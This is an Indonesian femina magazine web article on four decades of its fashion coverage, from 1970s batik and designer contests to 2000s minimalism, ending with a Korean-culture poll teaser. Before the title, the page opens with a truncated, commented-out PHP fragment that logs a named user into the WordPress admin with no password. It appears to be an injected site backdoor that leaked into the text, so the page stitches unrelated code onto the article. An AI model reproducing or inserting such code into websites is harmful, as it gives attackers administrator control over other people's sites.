user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Fashion Trend
Sublimasi Gaya

26 Sep 2012


"Fashion fades, style is eternal."  Yves Saint Laurent 
Eksis di antara puluhan media cetak lainnya selama 40 tahun adalah bukti nyata bahwa identitas dan ciri khas adalah hal yang krusial. Diterpa oleh perubahan dan perkembangan zaman tidak membuat femina kehilangan jati diri dengan tetap konsisten merekam tren dunia selama 4 dekade, dan menginterpretasikannya melalui gaya penulisan membumi dan aplikatif. Hal ini tentu membuat femina mudah menjelma ke dalam keseharian pembaca, ditambah cara padu padan berbusana untuk menyisakan ruang luas bagi pembaca untuk ikut berkembang bersama dalam mengeksplorasi gaya.
 
Awal Inspiratif
Tahun ‘70-an, femina mulai memberi wacana baru bahwa penampilan dan tren mode juga menjadi bagian penting untuk aktualisasi diri. Meskipun terbit pertama kali  tahun 1972 dengan format majalah wanita, bukan sebagai majalah fashion, namun femina didaulat menjadi pedoman terdepan dalam hal gaya dan penampilan.

1. Teknologi fotografi masih terbatas pada masa itu. Namun, cover femina edisi 1 tahun 1972 yang memuat wanita bertangan delapan ini menjadi titik tolak citra wanita serba bisa dengan segudang tuntutan dan peran baru.
2. Meskipun arus informasi masih terbatas, femina mampu mengikuti perkembangan tren. Saat Missoni sedang booming dengan tren motif zig-zag tahun ’70-an, femina memuat Eni Sukamto, peragawati ternama, dengan memakai rok maksi motif zig-zag di rubrik mode. Foto femina No.3 1972.
3. Dari dulu hingga kini, batik memiliki tempat khusus di hati para pencinta mode. Misi femina memajukan budaya Indonesia tercermin dari banyaknya artikel tentang batik. Dimulai dari artikel serba-serbi batik, desainer yang berkarya menggunakan batik, hingga inspirasi busana batik yang trendi selalu dibuat  tiap tahun mengikuti masa. Foto femina No.31 1974.
4. Aplikatif  disertai dengan tip padu padan adalah keunggulan ‘DNA' rubrik mode femina. Rubrik mode pun berkembang menjadi rubrik mode yang menyertakan pola busana. Berawal dari ide Irma Hardisurya yang belajar secara autodidak, namun ternyata direspons sangat positif oleh pembaca. Apalagi jika edisi yang dimaksud menampilkan busana yang sesuai dengan bentuk tubuh dan menutupi kekurangan tubuh (figure fixer).  Foto femina No.32 1974.
5. Era busana ready to wear mulai menggeliat diiringi dengan bermunculannya toko pakaian jadi setelah Perang Dunia I. Para couturier, seperti Valentino, Dior, dan Givenchy mulai mengambil ide dari busana siap pakai sehingga pergerakan tren mode pun mulai ditentukan oleh model pakaian jadi. Foto femina No.43  1974.
6. Pada era ini, belum banyak yang menekuni profesi model sehingga para sosialitalah yang menjadi panutan gaya. Lihat saja gaya Dewi Motik yang sangat elegan mengenakan gaun midi batik. Foto femina No.62  1975.
7. Keindahan batik sudah dilirik oleh perancang internasional termasuk rumah mode Lanvin, Louis Feraud, dan Salon Carven yang akhirnya menciptakan koleksi eksklusif untuk batik Keris. Foto femina No.170  1979.
8. Lomba Perancang Mode pertama kali didirikan pada tahun 1979 sebagai wadah penciptaan tren di Indonesia. Menjuarai LPM pertama berbuah manis bagi Samuel Watimena. Ia mendapat kesempatan untuk dikirim ke Paris bersama Ibu Pia Alisjahbana dan Irma Hardisurya untuk menyaksikan peragaan busana dari rumah mode Lanvin, Courreges, Dior, Chanel, dan masih banyak lagi. Foto femina No.171 1979.
9. Akses yang masih terbatas tidak membuat femina ‘melempem' dalam menyajikan reportase tren mode. Meskipun tidak menampilkan foto runway yang cantik, Irma Hardisurya tetap menyajikan visualisasi yang apik melalui sketsa busana yang ia saksikan dalam peragaan busana ready to wear Port de Versailles saat ia berlibur ke Paris,  tahun 1972.
10. Setelah hadirnya Ibu Pia Alisjahbana selaku fotografer, berdua dengan Ibu Irma Hardisurya, mereka membawa level jurnalisme mode setingkat lebih tinggi dan informatif dengan menampilkan foto runway dari panggung mode internasional. Fashion week menjadi sumber andalan femina untuk meramu tren yang akan datang. Diawali dari Hong Kong Fashion Week  tahun 1977,  dilanjutkan fashion week dari kota kapital mode dunia, seperti Paris, Milan, London, New York di tahun-tahun berikutnya. Foto femina No.173  1979.



Trendsetter Mode di Indonesia

Tahun ’80-an, femina makin mengukuhkan diri sebagai majalah acuan mode wanita Indonesia. Perhelatan Lomba Perancang Mode (LPM) yang juga diprakarsai oleh majalah femina telah menjadi tonggak lahirnya tren mode. Teknik fotografi fashion dengan konsep matang mulai dilakukan. Pemotretan halaman mode tak lagi seadanya. Kerja sama yang baik mulai tercipta secara intens antara stylist, fotografer, make up artist, model, hingga desainer. Tak mengherankan,  halaman mode pada masa ini dibombardir busana rancangan para desainer ternama. 

1. Observasi dan prediksi tren mode mendatang menjadi hal yang substansial agar dapat menyandang predikat sebagai trendsetter. "Yoyok Budiman adalah salah satu stylist femina yang memiliki kepekaan tinggi sehingga pada era ini rubrik mode femina berada selangkah di depan," ujar Junarta Taufik, fotografer yang sudah malang- melintang di Femina Group. Majalah femina mendapat kepercayaan penuh dari para desainer untuk menampilkan baju rancangannya.
2. Setelah beberapa tahun menggunakan konsep foto close up, tahun 1983 konsep foto cover mulai dieksplorasi. Dan era foto cover outdoor pun dimulai.
3. Eksistensi femina  makin diakui seiring dengan kinerja dan koneksi yang meluas. Pemotretan ke luar kota untuk rubrik mode pun mulai menjadi kultur femina, terutama untuk edisi khusus tahunan. Seperti halaman mode edisi annual tahun 1984 di Tanjung Isoi, Kampung Dayak, Kalimantan, yang meninggalkan nostalgia menarik tentang kompleksitas proses pemotretan mode pada masa itu. Belum adanya agensi model mengharuskan tim melakukan casting model terlebih dahulu dan mencari ke berbagai tempat di Banjarmasin, mulai dari sekolah sekretaris hingga restoran.
4. Halaman mode marak menampilkan busana karya desainer local, seperti Robby Tumewu dengan dress bercorak floral untuk acara semiformal dan Chossy Latu dengan padanan kemeja putih dan rok  warna biru langit, dengan  gaya bahu lebar serta padding sesuai tren saat itu.  
5. LPM (Lomba Perancang Mode) menjadi tonggak fashion event yang bergengsi. Banyak desainer baru yang dilahirkan dari LPM meraih kesuksesan. Model pun baru bisa disebut model jika sudah ‘melangkah’ di runway Lomba Perancang Mode (LPM).
Advertisement
6. "Make up artist andal masih langka di era ini. Terkadang stylist dan fotografer juga harus bisa memiliki kemampuan merias wajah model agar bisa mencontohkan konsep riasan yang diinginkan untuk foto cover," kata Sonny Muchlison. Lihat saja Henidar Amroe, Ratih Sang, dan Okki Asokawati yang tampil dengan riasan blush on tebal yang sempat menjadi tren.
7. Proses digital dan retouch foto masih belum tersedia. Polaroid untuk tes lighting pun sempat dibatasi karena krisis moneter di tahun 1987. Stylist, fotografer, dan make up artist menjadi sangat jeli mengecek gaya rambut dan riasan wajah demi hasil foto yang sempurna. Model pun sangat disiplin. Bila sudah siap foto, harus berdiri agar baju tidak lecek.
8. Kompleksnya proses pemotretan yang memakan waktu lama terkadang menuntut halaman tidak hanya dihasilkan dari hasil jepretan foto saja, namun juga berupa sketsa busana. 
9. Setelah sukses dengan Lomba Perancang Mode, tahun 1986 femina menggelar Festival Mode, yang acaranya tak hanya meliputi pameran mode, namun juga pameran kain tradisional, seperti tenun dan sulam dari tanah air.  Ada juga talk show dan konsultasi dengan perancang busana serta pengamat mode. Acara ini tak lain adalah cikal bakal dari Jakarta Fashion Week yang beberapa tahun belakangan ini telah meramaikan dunia mode Indonesia.

Haus Informasi

Fashion tahun ’90-an, membuka jalan pada ranah jurnalisme komprehensif pada tim mode femina. Akses informasi perlahan mulai terbuka, namun masih jarang media yang menampilkan laporan panggung mode. Di sinilah peluang mengedukasi pembaca  makin meningkat, Majalah  femina pun menjadi pelopor sumber berita fashion terbaru. Di era ini, laporan tren merupakan hal yang tak hanya dipandang di permukaan, namun lebih mendalam. Artikel-artikel bermuatan prediksi mode maupun informasi lainnya menjadi hal yang paling ditunggu-tunggu pembaca.
1. Jika kita ingat pada masa itu, perekonomian dunia memang telah mengalami resesi. Gejolak ekonomi yang memuncak pada tahun 1998 di Indonesia ini,  makin menggeser kedudukan busana menjadi lebih fungsional.
2. Pengaruh gaya berbusana minimalis ala Helmut Lang dan Calvin Klein menjadi sesuatu yang sangat diterima oleh masyarakat. Tak hanya garis potongan, pemilihan warna pun  makin sederhana.
3. Motif baroque adalah kreasi rumah mode Versace berkat sentuhan tangan Gianni Versace pada tahun ’90-an. Namun, setelah desainer ternama Italia ini wafat tahun 1997, motif baroque kemudian diperbarui oleh penerusnya, Donatella Versace.
4. Untuk gaya kasual, para pemeran Beverly Hills 90210 selalu jadi role models di era ini. Celana washed jeans berbentuk baggy dipadu T-shirt atau kemeja longgar adalah andalan gaya di banyak kesempatan.
5. Siluet longgar untuk padu padan power suit masih menjadi favorit. Begitu juga shoulder pad yang menjadikan bahu  makin bidang.
6. Banyak model terkenal yang ditemukan di tahun ini lewat pemotretan sampul dan mode femina. Di antaranya adalah Arzeti Bilbina dan Tamara Blezinsky.
7. ‘Puncak mata asli fotografer’ adalah sebutan yang diberikan oleh Syahmedi Dean untuk periode hingga akhir tahun 1995. Karena minimnya proses editing, maka foto harus dibuat dengan sangat teliti. Sampai riasan asli pun, harus benar-benar berkualitas baik, agar dapat digunakan tanpa sentuhan digital.




Bergerak Cepat

Perkembangan teknologi adalah yang paling mewakili transformasi mode tahun 2000-an. Era digitalisasi  membuat karakter femina menjadi  makin berwarna. Pergantian tahun yang bertepatan dengan dimulainya milenium baru, membuat mata dunia memandang jauh ke depan. Tak heran, konsep-konsep serba futuristis dan bentuk-bentuk modern pun langsung jadi primadona. Gaya hidup yang makin cepat dan praktis, membuat media cetak yang masih mendapat tempat di hati pembacanya bergeser ke arah yang lebih praktis.

1. Produsen retail mulai merajai pasar mode. Adibusana tak lagi menjadi sesuatu yang tak tergapai, reportase mode dikemas tidak hanya dalam bentuk liputan berita, namun juga menyulap tren dunia lebih membumi dan mudah diadaptasi.
2. Keterbukaan membuat gaya bersosialisasi menjadi lebih kasual. Profesi model yang dulu dianggap serba glamor, kini bisa menjadi ‘girl next door’ bagi penggemarnya. Merokok sambil berbincang di luar panggung mode sebelum tampil, hingga tertidur di kursi-kursi tamu saat geladi resik pergelaran mode, menjadi hal yang dianggap biasa dan tak perlu disembunyikan lagi.
3. Simpel, dinamis, dan feminin adalah tiga kata yang menggambarkan modernitas wanita di awal tahun 2000-an. Tak heran, rancangan Donna Karan kala itu sangat diminati.
4. Aksesori pada awal tahun 2000-an, terutama tas, hadir dalam bentuk desain yang tak lekang oleh waktu. Tak banyak aksen yang ditambahkan dalam rancangannya. Salah satu aksen yang sempat tren adalah teknik stitch (jelujur benang).
5. Karakter wanita makin menguat. Ini  tercermin dari gaya berpakaian yang  makin berani. Padu padan adalah kunci mode tahun 2000-an. Dengan tren busana yang didaur ulang, penampilan malah  jadi  lebih variatif dan edgy.
6. Model futuristis yang menjadi kegemaran diterjemahkan pada tren kacamata dengan lensa warna-warni besar tak berbingkai. Sederhana, namun tetap unik.(f)



 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?